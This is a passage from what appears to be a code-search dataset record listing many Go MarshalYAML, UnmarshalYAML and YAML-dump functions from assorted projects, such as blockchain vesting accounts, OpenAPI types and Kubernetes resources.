bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}","func Dump(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}","func Dump(cfg interface{}, dst io.Writer) error {\n\treturn yaml.NewEncoder(dst).Encode(cfg)\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}","func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: pva.AccountNumber,\n\t\tPubKey: getPKString(pva),\n\t\tSequence: pva.Sequence,\n\t\tOriginalVesting: pva.OriginalVesting,\n\t\tDelegatedFree: pva.DelegatedFree,\n\t\tDelegatedVesting: pva.DelegatedVesting,\n\t\tEndTime: pva.EndTime,\n\t\tStartTime: pva.StartTime,\n\t\tVestingPeriods: pva.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}","func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (self *Yaml) Save() error {\n\n\treturn nil\n}","func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}","func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\n\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to unstructured object: %w\", err)\n\t}\n\n\t// No need to store the status\n\tdelete(raw, \"status\")\n\n\tmetadata := map[string]interface{}{\n\t\t\"name\": obj.GetName(),\n\t}\n\n\tif obj.GetNamespace() != \"\" {\n\t\tmetadata[\"namespace\"] = obj.GetNamespace()\n\t}\n\n\tif len(obj.GetLabels()) != 0 {\n\t\tmetadata[\"labels\"] = obj.GetLabels()\n\t}\n\n\tif len(obj.GetAnnotations()) != 0 {\n\t\tmetadata[\"annotations\"] = obj.GetAnnotations()\n\t}\n\n\traw[\"metadata\"] = metadata\n\n\tbuf, err := yaml.Marshal(raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert unstructured object to json: %w\", err)\n\t}\n\n\treturn buf, nil\n}","func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}"],"string":"[\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func (o Op) MarshalYAML() (interface{}, error) {\\n\\treturn map[string]interface{}{\\n\\t\\to.Type(): o.OpApplier,\\n\\t}, nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (op OpRemove) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\\n\\treturn approvalStrategyToString[a], nil\\n\\t//buffer := bytes.NewBufferString(`\\\"`)\\n\\t//buffer.WriteString(approvalStrategyToString[*s])\\n\\t//buffer.WriteString(`\\\"`)\\n\\t//return buffer.Bytes(), nil\\n}\",\n \"func (bc *ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(AtomicLoadByteCount(bc)), nil\\n}\",\n \"func (s GitEvent) MarshalYAML() (interface{}, error) {\\n\\treturn toString[s], nil\\n}\",\n \"func (b *Backend) MarshalYAML() (interface{}, error) {\\n\\tb.mu.RLock()\\n\\tdefer b.mu.RUnlock()\\n\\n\\tpayload := struct {\\n\\t\\tAddress string\\n\\t\\tDisabledUntil time.Time `yaml:\\\"disabledUntil\\\"`\\n\\t\\tForcePromotionsAfter time.Duration `yaml:\\\"forcePromotionsAfter\\\"`\\n\\t\\tLatency time.Duration `yaml:\\\"latency\\\"`\\n\\t\\tMaxConnections int `yaml:\\\"maxConnections\\\"`\\n\\t\\tTier int `yaml:\\\"tier\\\"`\\n\\t}{\\n\\t\\tAddress: b.addr.String(),\\n\\t\\tDisabledUntil: b.mu.disabledUntil,\\n\\t\\tForcePromotionsAfter: b.mu.forcePromotionAfter,\\n\\t\\tLatency: b.mu.lastLatency,\\n\\t\\tMaxConnections: b.mu.maxConnections,\\n\\t\\tTier: b.mu.tier,\\n\\t}\\n\\treturn payload, nil\\n}\",\n \"func (key PrivateKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (d Rate) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (r *Regexp) MarshalYAML() (interface{}, error) {\\n\\treturn r.String(), nil\\n}\",\n \"func (i Instance) MarshalYAML() (interface{}, error) {\\n\\treturn i.Vars, nil\\n}\",\n \"func (c *Components) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(c, c.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(o, o.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (op OpFlatten) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (n Nil) MarshalYAML() (interface{}, error) {\\n\\treturn nil, nil\\n}\",\n \"func (r RetryConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyRetryConfig{\\n\\t\\tOutput: r.Output,\\n\\t\\tConfig: r.Config,\\n\\t}\\n\\tif r.Output == nil {\\n\\t\\tdummy.Output = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (o *Output) MarshalYAML() (interface{}, error) {\\n\\tif o.ShowValue {\\n\\t\\treturn withvalue(*o), nil\\n\\t}\\n\\to.Value = nil // explicitly make empty\\n\\to.Sensitive = false // explicitly make empty\\n\\treturn *o, nil\\n}\",\n \"func (v *Int8) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (f Fixed8) MarshalYAML() (interface{}, error) {\\n\\treturn f.String(), nil\\n}\",\n \"func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\\n\\treturn m.String(), nil\\n}\",\n \"func Marshal(v interface{}) ([]byte, error) {\\n\\tvar buf bytes.Buffer\\n\\tenc := yaml.NewEncoder(&buf)\\n\\tenc.SetIndent(2)\\n\\terr := enc.Encode(v)\\n\\treturn buf.Bytes(), err\\n}\",\n \"func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyReadUntilConfig{\\n\\t\\tInput: r.Input,\\n\\t\\tRestart: r.Restart,\\n\\t\\tCheck: r.Check,\\n\\t}\\n\\tif r.Input == nil {\\n\\t\\tdummy.Input = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\\n\\tif m.Config == nil {\\n\\t\\treturn m.Name, nil\\n\\t}\\n\\n\\traw := map[string]interface{}{\\n\\t\\tm.Name: m.Config,\\n\\t}\\n\\treturn raw, nil\\n}\",\n \"func (z Z) MarshalYAML() (interface{}, error) {\\n\\ttype Z struct {\\n\\t\\tS string `json:\\\"s\\\"`\\n\\t\\tI int32 `json:\\\"iVal\\\"`\\n\\t\\tHash string\\n\\t\\tMultiplyIByTwo int64 `json:\\\"multipliedByTwo\\\"`\\n\\t}\\n\\tvar enc Z\\n\\tenc.S = z.S\\n\\tenc.I = z.I\\n\\tenc.Hash = z.Hash()\\n\\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\\n\\treturn &enc, nil\\n}\",\n \"func (d LegacyDec) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (b ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(b), nil\\n}\",\n \"func (f Flag) MarshalYAML() (interface{}, error) {\\n\\treturn f.Name, nil\\n}\",\n \"func (ep Endpoint) MarshalYAML() (interface{}, error) {\\n\\ts, err := ep.toString()\\n\\treturn s, err\\n}\",\n \"func (p *Parameter) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(p, p.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\\n\\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\\n}\",\n \"func (r ParseKind) MarshalYAML() ([]byte, error) {\\n\\tif s, ok := interface{}(r).(fmt.Stringer); ok {\\n\\t\\treturn yaml.Marshal(s.String())\\n\\t}\\n\\ts, ok := _ParseKindValueToName[r]\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid ParseKind: %d\\\", r)\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (p Params) MarshalYAML() (interface{}, error) {\\n\\treturn p.String(), nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\\n\\treturn ec.String(), nil\\n}\",\n \"func (v Validator) MarshalYAML() (interface{}, error) {\\n\\tbs, err := yaml.Marshal(struct {\\n\\t\\tStatus sdk.BondStatus\\n\\t\\tJailed bool\\n\\t\\tUnbondingHeight int64\\n\\t\\tConsPubKey string\\n\\t\\tOperatorAddress sdk.ValAddress\\n\\t\\tTokens sdk.Int\\n\\t\\tDelegatorShares sdk.Dec\\n\\t\\tDescription Description\\n\\t\\tUnbondingCompletionTime time.Time\\n\\t\\tCommission Commission\\n\\t\\tMinSelfDelegation sdk.Dec\\n\\t}{\\n\\t\\tOperatorAddress: v.OperatorAddress,\\n\\t\\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\\n\\t\\tJailed: v.Jailed,\\n\\t\\tStatus: v.Status,\\n\\t\\tTokens: v.Tokens,\\n\\t\\tDelegatorShares: v.DelegatorShares,\\n\\t\\tDescription: v.Description,\\n\\t\\tUnbondingHeight: v.UnbondingHeight,\\n\\t\\tUnbondingCompletionTime: v.UnbondingCompletionTime,\\n\\t\\tCommission: v.Commission,\\n\\t\\tMinSelfDelegation: v.MinSelfDelegation,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\treturn u.String(), nil\\n}\",\n \"func (r OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"authorizationUrl\\\"] = r.AuthorizationURL\\n\\n\\tobj[\\\"tokenUrl\\\"] = r.TokenURL\\n\\n\\tif r.RefreshURL != \\\"\\\" {\\n\\t\\tobj[\\\"refreshUrl\\\"] = r.RefreshURL\\n\\t}\\n\\n\\tobj[\\\"scopes\\\"] = r.Scopes\\n\\n\\tfor key, val := range r.Extensions {\\n\\t\\tobj[key] = val\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (b Bool) MarshalYAML() (interface{}, error) {\\n\\tif !b.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn b.value, nil\\n}\",\n \"func (ss StdSignature) MarshalYAML() (interface{}, error) {\\n\\tpk := \\\"\\\"\\n\\tif ss.PubKey != nil {\\n\\t\\tpk = ss.PubKey.String()\\n\\t}\\n\\n\\tbz, err := yaml.Marshal(struct {\\n\\t\\tPubKey string `json:\\\"pub_key\\\"`\\n\\t\\tSignature string `json:\\\"signature\\\"`\\n\\t}{\\n\\t\\tpk,\\n\\t\\tfmt.Sprintf(\\\"%X\\\", ss.Signature),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bz), err\\n}\",\n \"func (key PublicKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\\n\\tvar s yaml.MapSlice\\n\\tfor _, item := range m.ToSlice() {\\n\\t\\ts = append(s, yaml.MapItem{\\n\\t\\t\\tKey: item.Key,\\n\\t\\t\\tValue: item.Value,\\n\\t\\t})\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (cp *CertPool) MarshalYAML() (interface{}, error) {\\n\\treturn cp.Files, nil\\n}\",\n \"func (i Interface) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\tif u.url == nil {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn u.url.String(), nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.Duration.String(), nil\\n}\",\n \"func (c CompressionType) MarshalYAML() (interface{}, error) {\\n\\treturn compressionTypeID[c], nil\\n}\",\n \"func (i Int) MarshalYAML() (interface{}, error) {\\n\\tif !i.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn i.value, nil\\n}\",\n \"func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\\n\\tif len(extensions) == 0 {\\n\\t\\treturn v, nil\\n\\t}\\n\\tmarshaled, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar unmarshaled map[string]interface{}\\n\\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfor k, v := range extensions {\\n\\t\\tunmarshaled[k] = v\\n\\t}\\n\\treturn unmarshaled, nil\\n}\",\n \"func (d Document) MarshalYAML() (interface{}, error) {\\n\\treturn d.raw, nil\\n}\",\n \"func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\\n\\treturn export.ToData(), nil\\n}\",\n \"func (d *Discriminator) MarshalYAML() (interface{}, error) {\\n\\tnb := low2.NewNodeBuilder(d, d.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: va.AccountNumber,\\n\\t\\tPubKey: getPKString(va),\\n\\t\\tSequence: va.Sequence,\\n\\t\\tOriginalVesting: va.OriginalVesting,\\n\\t\\tDelegatedFree: va.DelegatedFree,\\n\\t\\tDelegatedVesting: va.DelegatedVesting,\\n\\t\\tEndTime: va.EndTime,\\n\\t\\tStartTime: va.StartTime,\\n\\t\\tVestingPeriods: va.VestingPeriods,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (s *spiff) Marshal(node Node) ([]byte, error) {\\n\\treturn yaml.Marshal(node)\\n}\",\n \"func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (k *Kluster) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(k)\\n}\",\n \"func (u URL) MarshalYAML() (interface{}, error) {\\n\\tif u.URL != nil {\\n\\t\\treturn u.String(), nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (d DurationMinutes) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn int(d.value / time.Minute), nil\\n}\",\n \"func (i UOM) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (d *WebAuthnDevice) MarshalYAML() (any, error) {\\n\\treturn d.ToData(), nil\\n}\",\n \"func (date Date) MarshalYAML() (interface{}, error) {\\n\\tvar d = string(date)\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn d, nil\\n}\",\n \"func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\\n\\tconst mediaType = runtime.ContentTypeYAML\\n\\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\\n\\tif !ok {\\n\\t\\treturn []byte{}, errors.Errorf(\\\"unsupported media type %q\\\", mediaType)\\n\\t}\\n\\n\\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\\n\\treturn runtime.Encode(encoder, obj)\\n}\",\n \"func SortYAML(in io.Reader, out io.Writer, indent int) error {\\n\\n\\tincomingYAML, err := ioutil.ReadAll(in)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"can't read input: %v\\\", err)\\n\\t}\\n\\n\\tvar hasNoStartingLabel bool\\n\\trootIndent, err := detectRootIndent(incomingYAML)\\n\\tif err != nil {\\n\\t\\tif !errors.Is(err, ErrNoStartingLabel) {\\n\\t\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\t\\treturn fmt.Errorf(\\\"can't detect root indentation: %v\\\", err)\\n\\t\\t}\\n\\n\\t\\thasNoStartingLabel = true\\n\\t}\\n\\n\\tif hasNoStartingLabel {\\n\\t\\tincomingYAML = append([]byte(CustomLabel+\\\"\\\\n\\\"), incomingYAML...)\\n\\t}\\n\\n\\tvar value map[string]interface{}\\n\\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\n\\t\\treturn fmt.Errorf(\\\"can't decode YAML: %v\\\", err)\\n\\t}\\n\\n\\tvar outgoingYAML bytes.Buffer\\n\\tencoder := yaml.NewEncoder(&outgoingYAML)\\n\\tencoder.SetIndent(indent)\\n\\n\\tif err := encoder.Encode(&value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-encode YAML: %v\\\", err)\\n\\t}\\n\\n\\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\\n\\tif err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-indent YAML: %v\\\", err)\\n\\t}\\n\\n\\tfmt.Fprint(out, reindentedYAML)\\n\\treturn nil\\n}\",\n \"func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(d)\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif !s.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn s.value, nil\\n}\",\n \"func (i ChannelName) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func asYaml(w io.Writer, m resmap.ResMap) error {\\n\\tb, err := m.AsYaml()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t_, err = w.Write(b)\\n\\treturn err\\n}\",\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (s SensitiveString) MarshalYAML() (interface{}, error) {\\n\\treturn s.String(), nil\\n}\",\n \"func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\\n\\tunmarshaler := &pmetric.JSONMarshaler{}\\n\\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar jsonVal map[string]interface{}\\n\\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb := &bytes.Buffer{}\\n\\tenc := yaml.NewEncoder(b)\\n\\tenc.SetIndent(2)\\n\\tif err := enc.Encode(jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn b.Bytes(), nil\\n}\",\n \"func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: cva.AccountNumber,\\n\\t\\tPubKey: getPKString(cva),\\n\\t\\tSequence: cva.Sequence,\\n\\t\\tOriginalVesting: cva.OriginalVesting,\\n\\t\\tDelegatedFree: cva.DelegatedFree,\\n\\t\\tDelegatedVesting: cva.DelegatedVesting,\\n\\t\\tEndTime: cva.EndTime,\\n\\t\\tStartTime: cva.StartTime,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (v *VersionInfo) MarshalYAML() (interface{}, error) {\\n\\n\\treturn &struct {\\n\\t\\tSemVer string `yaml:\\\"semver\\\"`\\n\\t\\tShaLong string `yaml:\\\"shaLong\\\"`\\n\\t\\tBuildTimestamp int64 `yaml:\\\"buildTimestamp\\\"`\\n\\t\\tBranch string `yaml:\\\"branch\\\"`\\n\\t\\tArch string `yaml:\\\"arch\\\"`\\n\\t}{\\n\\t\\tSemVer: v.SemVer,\\n\\t\\tShaLong: v.ShaLong,\\n\\t\\tBuildTimestamp: v.BuildTimestamp.Unix(),\\n\\t\\tBranch: v.Branch,\\n\\t\\tArch: v.Arch,\\n\\t}, nil\\n}\",\n \"func (f Float64) MarshalYAML() (interface{}, error) {\\n\\tif !f.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn f.value, nil\\n}\",\n \"func (d DurationSeconds) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\n\\treturn int(d.value / time.Second), nil\\n}\",\n \"func (r Discriminator) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"propertyName\\\"] = r.PropertyName\\n\\n\\tif len(r.Mapping) > 0 {\\n\\t\\tobj[\\\"mapping\\\"] = r.Mapping\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (v *Uint16) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func MarshalUnmarshal(in interface{}, out interface{}) error {\\n\\t// struct -> yaml -> map for easy access\\n\\trdr, err := Marshal(in)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn Unmarshal(rdr, out)\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (s *Spec020) Marshal() ([]byte, error) {\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func Marshal(o interface{}) ([]byte, error) {\\n\\tj, err := json.Marshal(o)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshaling into JSON: %v\\\", err)\\n\\t}\\n\\n\\ty, err := JSONToYAML(j)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error converting JSON to YAML: %v\\\", err)\\n\\t}\\n\\n\\treturn y, nil\\n}\",\n \"func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\\n\\tvar bs []byte\\n\\tvar err error\\n\\tvar pubkey string\\n\\n\\tif vva.PubKey != nil {\\n\\t\\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tbs, err = yaml.Marshal(struct {\\n\\t\\tAddress sdk.AccAddress\\n\\t\\tCoins sdk.Coins\\n\\t\\tPubKey string\\n\\t\\tAccountNumber uint64\\n\\t\\tSequence uint64\\n\\t\\tOriginalVesting sdk.Coins\\n\\t\\tDelegatedFree sdk.Coins\\n\\t\\tDelegatedVesting sdk.Coins\\n\\t\\tEndTime int64\\n\\t\\tStartTime int64\\n\\t\\tVestingPeriods vestingtypes.Periods\\n\\t\\tValidatorAddress sdk.ConsAddress\\n\\t\\tReturnAddress sdk.AccAddress\\n\\t\\tSigningThreshold int64\\n\\t\\tCurrentPeriodProgress CurrentPeriodProgress\\n\\t\\tVestingPeriodProgress []VestingProgress\\n\\t\\tDebtAfterFailedVesting sdk.Coins\\n\\t}{\\n\\t\\tAddress: vva.Address,\\n\\t\\tCoins: vva.Coins,\\n\\t\\tPubKey: pubkey,\\n\\t\\tAccountNumber: vva.AccountNumber,\\n\\t\\tSequence: vva.Sequence,\\n\\t\\tOriginalVesting: vva.OriginalVesting,\\n\\t\\tDelegatedFree: vva.DelegatedFree,\\n\\t\\tDelegatedVesting: vva.DelegatedVesting,\\n\\t\\tEndTime: vva.EndTime,\\n\\t\\tStartTime: vva.StartTime,\\n\\t\\tVestingPeriods: vva.VestingPeriods,\\n\\t\\tValidatorAddress: vva.ValidatorAddress,\\n\\t\\tReturnAddress: vva.ReturnAddress,\\n\\t\\tSigningThreshold: vva.SigningThreshold,\\n\\t\\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\\n\\t\\tVestingPeriodProgress: vva.VestingPeriodProgress,\\n\\t\\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), err\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: bva.AccountNumber,\\n\\t\\tPubKey: getPKString(bva),\\n\\t\\tSequence: bva.Sequence,\\n\\t\\tOriginalVesting: bva.OriginalVesting,\\n\\t\\tDelegatedFree: bva.DelegatedFree,\\n\\t\\tDelegatedVesting: bva.DelegatedVesting,\\n\\t\\tEndTime: bva.EndTime,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func Dump(v interface{}) ([]byte, error) {\\n\\treturn yaml.Marshal(v)\\n}\",\n \"func Dump(cfg interface{}, dst io.Writer) error {\\n\\treturn yaml.NewEncoder(dst).Encode(cfg)\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif len(string(s)) == 0 || string(s) == `\\\"\\\"` {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn string(s), nil\\n}\",\n \"func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: pva.AccountNumber,\\n\\t\\tPubKey: getPKString(pva),\\n\\t\\tSequence: pva.Sequence,\\n\\t\\tOriginalVesting: pva.OriginalVesting,\\n\\t\\tDelegatedFree: pva.DelegatedFree,\\n\\t\\tDelegatedVesting: pva.DelegatedVesting,\\n\\t\\tEndTime: pva.EndTime,\\n\\t\\tStartTime: pva.StartTime,\\n\\t\\tVestingPeriods: pva.VestingPeriods,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (self *Yaml) Save() error {\\n\\n\\treturn nil\\n}\",\n \"func SPrintYAML(a interface{}) (string, error) {\\n\\tb, err := MarshalJSON(a)\\n\\t// doing yaml this way because at times you have nested proto structs\\n\\t// that need to be cleaned.\\n\\tyam, err := yamlconv.JSONToYAML(b)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(yam), nil\\n}\",\n \"func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\\n\\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\\n\\tif err != nil 